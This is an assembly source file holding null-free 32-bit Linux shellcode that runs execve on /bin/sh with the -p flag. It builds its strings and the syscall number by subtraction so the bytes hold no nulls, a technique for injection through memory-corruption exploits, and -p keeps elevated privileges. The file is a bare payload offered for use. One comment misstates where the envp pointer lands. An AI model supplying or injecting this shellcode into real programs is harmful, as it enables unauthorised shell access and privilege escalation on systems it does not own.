execve shellcode linux 32-bit little-endian

shellcode-execve.S

# Shellcode (linux, 32-bit, little-endian)
# ---------
# execve("/bin/sh", { "/bin/sh", "-p" }, NULL)

start:
    # Calculate and store "-p"
    mov $0x0101712E, %eax
    sub $0x01010101, %eax
    push %eax
    mov %esp, %ecx

    # Calculate and store "/sh"
    mov $0x01697430, %eax
    sub $0x01010101, %eax
    push %eax

    # Immediate store "/bin"
    push $0x6E69622F

    # Load pathname
    mov %esp, %ebx

    # Add null array terminator
    xor %edx, %edx
    push %edx

    # Store address for argv[1]
    push %ecx

    # Load null terminator address for envp
    mov %esp, %edx

    # Store address for argv[0]
    push %ebx
    mov %esp, %ecx

    # System call 0x0B (for execve 32-bit)
    mov $0x0101010C, %eax
    sub $0x01010101, %eax
    int $0x80